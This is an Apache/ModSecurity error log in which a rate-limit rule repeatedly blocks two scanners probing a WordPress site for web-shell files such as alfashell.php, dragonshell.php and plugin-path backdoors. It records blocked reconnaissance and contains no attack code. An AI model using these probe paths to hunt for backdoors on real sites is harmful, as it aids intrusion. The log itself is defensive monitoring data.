[Fri Apr 24 01:53:01.071210 2026] [:error] [pid 46953:tid 46971] [client 74.248.129.192:64345] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bs1.php"] [unique_id "aepcfUnlpdHh-P6wKbp6NgAAAk8"]
[Fri Apr 24 01:53:01.592281 2026] [:error] [pid 42972:tid 43027] [client 74.248.129.192:64883] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bs1.php"] [unique_id "aepcfcOAb-3sOknsk4fD8AAAAEs"]
[Fri Apr 24 01:53:02.153114 2026] [:error] [pid 65000:tid 65038] [client 74.248.129.192:65264] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/bs1.php"] [unique_id "aepcfr6vRb9j6psK2ZZ9TQAAAgU"]
[Fri Apr 24 01:53:02.667010 2026] [:error] [pid 65000:tid 65032] [client 74.248.129.192:63297] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aepcfr6vRb9j6psK2ZZ9TgAAAgM"]
[Fri Apr 24 01:53:03.281734 2026] [:error] [pid 64998:tid 65003] [client 74.248.129.192:63824] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aepcf4V5EysYcTLjmwg1HgAAAcE"]
[Fri Apr 24 01:53:03.825984 2026] [:error] [pid 25635:tid 25650] [client 74.248.129.192:64428] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aepcf8Rxv6UsgRGKB3JR3QAAAQs"]
[Fri Apr 24 01:53:04.611973 2026] [:error] [pid 46953:tid 46980] [client 74.248.129.192:63392] File does not exist: /usr/local/apache/htdocs/suspended-page/axx.php
[Fri Apr 24 01:53:04.871411 2026] [:error] [pid 46953:tid 46961] [client 74.248.129.192:63392] File does not exist: /usr/local/apache/htdocs/suspended-page/alfashell.php
[Fri Apr 24 01:53:05.129559 2026] [:error] [pid 46953:tid 46970] [client 74.248.129.192:63392] File does not exist: /usr/local/apache/htdocs/suspended-page/gettest.php
[Fri Apr 24 01:53:05.388843 2026] [:error] [pid 46953:tid 46969] [client 74.248.129.192:63392] File does not exist: /usr/local/apache/htdocs/suspended-page/acp.php
[Fri Apr 24 01:53:05.650466 2026] [:error] [pid 46953:tid 46958] [client 74.248.129.192:63392] File does not exist: /usr/local/apache/htdocs/suspended-page/file48.php
[Fri Apr 24 01:53:05.915294 2026] [:error] [pid 46953:tid 46967] [client 74.248.129.192:63392] File does not exist: /usr/local/apache/htdocs/suspended-page/g.php
[Fri Apr 24 01:53:06.436052 2026] [:error] [pid 46953:tid 46965] [client 74.248.129.192:63392] File does not exist: /usr/local/apache/htdocs/suspended-page/simple.php
[Fri Apr 24 01:53:06.694879 2026] [:error] [pid 46953:tid 46962] [client 74.248.129.192:63392] File does not exist: /usr/local/apache/htdocs/suspended-page/ew.php
[Fri Apr 24 01:53:06.953731 2026] [:error] [pid 46953:tid 46966] [client 74.248.129.192:63392] File does not exist: /usr/local/apache/htdocs/suspended-page/file21.php
[Fri Apr 24 01:53:07.209639 2026] [:error] [pid 46953:tid 46963] [client 74.248.129.192:63392] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hypo.php"] [unique_id "aepcg0nlpdHh-P6wKbp6RwAAAkc"]
[Fri Apr 24 01:53:07.759796 2026] [:error] [pid 42973:tid 43062] [client 74.248.129.192:63372] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hypo.php"] [unique_id "aepcg26I0QqmmmLTHE2EcgAAAJM"]
[Fri Apr 24 01:53:08.309037 2026] [:error] [pid 42972:tid 43038] [client 74.248.129.192:63356] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hypo.php"] [unique_id "aepchMOAb-3sOknsk4fD-AAAAFY"]
[Fri Apr 24 01:53:08.822396 2026] [:error] [pid 42973:tid 43049] [client 74.248.129.192:62891] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/hypo.php"] [unique_id "aepchG6I0QqmmmLTHE2EdwAAAIY"]
[Fri Apr 24 01:53:09.394589 2026] [:error] [pid 65000:tid 65043] [client 74.248.129.192:62380] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file18.php"] [unique_id "aepchb6vRb9j6psK2ZZ9XAAAAgo"]
[Fri Apr 24 01:53:09.976156 2026] [:error] [pid 64998:tid 65022] [client 74.248.129.192:62932] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file18.php"] [unique_id "aepchYV5EysYcTLjmwg1JwAAAdQ"]
[Fri Apr 24 01:53:10.557260 2026] [:error] [pid 64998:tid 65004] [client 74.248.129.192:64916] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file18.php"] [unique_id "aepchoV5EysYcTLjmwg1KQAAAcI"]
[Fri Apr 24 01:53:11.142336 2026] [:error] [pid 42972:tid 43027] [client 74.248.129.192:62915] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/file18.php"] [unique_id "aepch8OAb-3sOknsk4fD_gAAAEs"]
[Fri Apr 24 01:53:11.674144 2026] [:error] [pid 64998:tid 65011] [client 74.248.129.192:64335] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "aepch4V5EysYcTLjmwg1LwAAAck"]
[Fri Apr 24 01:53:12.205349 2026] [:error] [pid 64998:tid 65012] [client 74.248.129.192:63421] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "aepciIV5EysYcTLjmwg1MQAAAco"]
[Fri Apr 24 01:53:12.733120 2026] [:error] [pid 64998:tid 65016] [client 74.248.129.192:64359] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "aepciIV5EysYcTLjmwg1NAAAAc4"]
[Fri Apr 24 01:53:13.250418 2026] [:error] [pid 65000:tid 65038] [client 74.248.129.192:63863] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xwx1.php"] [unique_id "aepcib6vRb9j6psK2ZZ9ZQAAAgU"]
[Fri Apr 24 01:53:13.771375 2026] [:error] [pid 42973:tid 43066] [client 74.248.129.192:63835] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/blue/"] [unique_id "aepciW6I0QqmmmLTHE2EewAAAJc"]
[Fri Apr 24 01:53:14.319607 2026] [:error] [pid 46953:tid 46975] [client 74.248.129.192:18759] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/blue/"] [unique_id "aepciknlpdHh-P6wKbp6SQAAAlM"]
[Fri Apr 24 01:53:14.876927 2026] [:error] [pid 64998:tid 65019] [client 74.248.129.192:64868] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/blue/"] [unique_id "aepcioV5EysYcTLjmwg1OAAAAdE"]
[Fri Apr 24 01:53:15.430458 2026] [:error] [pid 42972:tid 43017] [client 74.248.129.192:64958] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-admin/css/colors/blue/"] [unique_id "aepci8OAb-3sOknsk4fEBgAAAEE"]
[Fri Apr 24 01:53:15.981673 2026] [:error] [pid 42972:tid 43030] [client 74.248.129.192:63928] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/chosen.php"] [unique_id "aepci8OAb-3sOknsk4fECgAAAE4"]
[Fri Apr 24 01:53:16.493434 2026] [:error] [pid 65000:tid 65054] [client 74.248.129.192:9632] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/chosen.php"] [unique_id "aepcjL6vRb9j6psK2ZZ9cAAAAhU"]
[Fri Apr 24 01:53:17.049928 2026] [:error] [pid 42972:tid 43027] [client 74.248.129.192:62931] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/chosen.php"] [unique_id "aepcjcOAb-3sOknsk4fEDAAAAEs"]
[Fri Apr 24 01:53:17.625346 2026] [:error] [pid 43083:tid 43093] [client 74.248.129.192:64840] [client 74.248.129.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/chosen.php"] [unique_id "aepcjTC5hrvNXosL83KtrgAAAMg"]
[Fri Apr 24 02:14:56.305087 2026] [:error] [pid 42972:tid 43032] [client 74.234.74.247:6232] File does not exist: /usr/local/apache/htdocs/suspended-page/error.php
[Fri Apr 24 02:14:56.588207 2026] [:error] [pid 42972:tid 43040] [client 74.234.74.247:6232] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-load.php
[Fri Apr 24 02:14:56.871298 2026] [:error] [pid 42972:tid 43025] [client 74.234.74.247:6232] File does not exist: /usr/local/apache/htdocs/suspended-page/77.php
[Fri Apr 24 02:14:57.159651 2026] [:error] [pid 42972:tid 43018] [client 74.234.74.247:6232] File does not exist: /usr/local/apache/htdocs/suspended-page/.sghb.php
[Fri Apr 24 02:14:57.512883 2026] [:error] [pid 42972:tid 43029] [client 74.234.74.247:6232] File does not exist: /usr/local/apache/htdocs/suspended-page/zoko.php
[Fri Apr 24 02:14:57.793749 2026] [:error] [pid 42972:tid 43026] [client 74.234.74.247:6232] File does not exist: /usr/local/apache/htdocs/suspended-page/solo1.php
[Fri Apr 24 02:14:58.073745 2026] [:error] [pid 42972:tid 43027] [client 74.234.74.247:6232] File does not exist: /usr/local/apache/htdocs/suspended-page/locales.php
[Fri Apr 24 02:14:58.356436 2026] [:error] [pid 42972:tid 43036] [client 74.234.74.247:6232] File does not exist: /usr/local/apache/htdocs/suspended-page/bgymj.php
[Fri Apr 24 02:14:58.638938 2026] [:error] [pid 42972:tid 43023] [client 74.234.74.247:6232] File does not exist: /usr/local/apache/htdocs/suspended-page/pucci.php
[Fri Apr 24 02:14:59.200083 2026] [:error] [pid 42972:tid 43032] [client 74.234.74.247:6232] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.dj/index.php"] [unique_id "aepho8OAb-3sOknsk4fLfgAAAFA"]
[Fri Apr 24 02:14:59.748217 2026] [:error] [pid 46953:tid 46961] [client 74.234.74.247:6226] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.dj/index.php"] [unique_id "aepho0nlpdHh-P6wKbp-EwAAAkU"]
[Fri Apr 24 02:15:01.279639 2026] [:error] [pid 42972:tid 43016] [client 74.234.74.247:6218] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.dj/index.php"] [unique_id "aephpcOAb-3sOknsk4fLhQAAAEA"]
[Fri Apr 24 02:15:01.796327 2026] [:error] [pid 64998:tid 65015] [client 74.234.74.247:6164] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.dj/index.php"] [unique_id "aephpYV5EysYcTLjmwg--QAAAc0"]
[Fri Apr 24 02:15:02.361223 2026] [:error] [pid 65000:tid 65040] [client 74.234.74.247:6263] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/audio/"] [unique_id "aephpr6vRb9j6psK2ZaKmwAAAgc"]
[Fri Apr 24 02:15:03.002658 2026] [:error] [pid 42972:tid 43032] [client 74.234.74.247:6228] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/audio/"] [unique_id "aephp8OAb-3sOknsk4fLjwAAAFA"]
[Fri Apr 24 02:15:03.565824 2026] [:error] [pid 64967:tid 64990] [client 74.234.74.247:6208] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/audio/"] [unique_id "aephp4AV4GfOOdX8QzqbhwAAAZU"]
[Fri Apr 24 02:15:04.120846 2026] [:error] [pid 59700:tid 59712] [client 74.234.74.247:6216] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/wp-includes/blocks/audio/"] [unique_id "aephqJXyGZJFeAIDWtl78gAAAUo"]
[Fri Apr 24 02:15:04.687942 2026] [:error] [pid 65000:tid 65048] [client 74.234.74.247:6235] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.tmb/"] [unique_id "aephqL6vRb9j6psK2ZaKoAAAAg8"]
[Fri Apr 24 02:15:05.267926 2026] [:error] [pid 65000:tid 65047] [client 74.234.74.247:6267] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.tmb/"] [unique_id "aephqb6vRb9j6psK2ZaKpgAAAg4"]
[Fri Apr 24 02:15:05.799759 2026] [:error] [pid 42971:tid 43002] [client 74.234.74.247:6148] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.tmb/"] [unique_id "aephqTEP2_5RswrH8bFT0wAAABA"]
[Fri Apr 24 02:15:06.347680 2026] [:error] [pid 59700:tid 59710] [client 74.234.74.247:6221] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/.tmb/"] [unique_id "aephqpXyGZJFeAIDWtl78wAAAUg"]
[Fri Apr 24 02:15:06.865946 2026] [:error] [pid 64967:tid 64969] [client 74.234.74.247:6246] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/one.php"] [unique_id "aephqoAV4GfOOdX8QzqbiAAAAYA"]
[Fri Apr 24 02:15:07.406878 2026] [:error] [pid 65000:tid 65039] [client 74.234.74.247:6146] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/one.php"] [unique_id "aephq76vRb9j6psK2ZaKrAAAAgY"]
[Fri Apr 24 02:15:07.974799 2026] [:error] [pid 64967:tid 64973] [client 74.234.74.247:6150] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/one.php"] [unique_id "aephq4AV4GfOOdX8QzqbiwAAAYQ"]
[Fri Apr 24 02:15:08.518930 2026] [:error] [pid 46953:tid 46960] [client 74.234.74.247:6248] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/one.php"] [unique_id "aephrEnlpdHh-P6wKbp-HwAAAkQ"]
[Fri Apr 24 02:15:09.039762 2026] [:error] [pid 43083:tid 43096] [client 74.234.74.247:6191] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fi.php"] [unique_id "aephrTC5hrvNXosL83KxcgAAAMs"]
[Fri Apr 24 02:15:09.589122 2026] [:error] [pid 64998:tid 65020] [client 74.234.74.247:6258] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fi.php"] [unique_id "aephrYV5EysYcTLjmwg_IAAAAdI"]
[Fri Apr 24 02:15:10.146928 2026] [:error] [pid 65000:tid 65049] [client 74.234.74.247:6269] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fi.php"] [unique_id "aephrr6vRb9j6psK2ZaKtQAAAhA"]
[Fri Apr 24 02:15:10.679907 2026] [:error] [pid 65000:tid 65030] [client 74.234.74.247:6174] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/fi.php"] [unique_id "aephrr6vRb9j6psK2ZaKtwAAAgE"]
[Fri Apr 24 02:15:11.229068 2026] [:error] [pid 64998:tid 65004] [client 74.234.74.247:6170] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dragonshell.php"] [unique_id "aephr4V5EysYcTLjmwg_LgAAAcI"]
[Fri Apr 24 02:15:11.766868 2026] [:error] [pid 64998:tid 65013] [client 74.234.74.247:6215] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dragonshell.php"] [unique_id "aephr4V5EysYcTLjmwg_MwAAAcs"]
[Fri Apr 24 02:15:12.319496 2026] [:error] [pid 42972:tid 43037] [client 74.234.74.247:6253] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dragonshell.php"] [unique_id "aephsMOAb-3sOknsk4fLoAAAAFU"]
[Fri Apr 24 02:15:12.843476 2026] [:error] [pid 65000:tid 65052] [client 74.234.74.247:6247] [client 74.234.74.247] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/dragonshell.php"] [unique_id "aephsL6vRb9j6psK2ZaKvwAAAhM"]
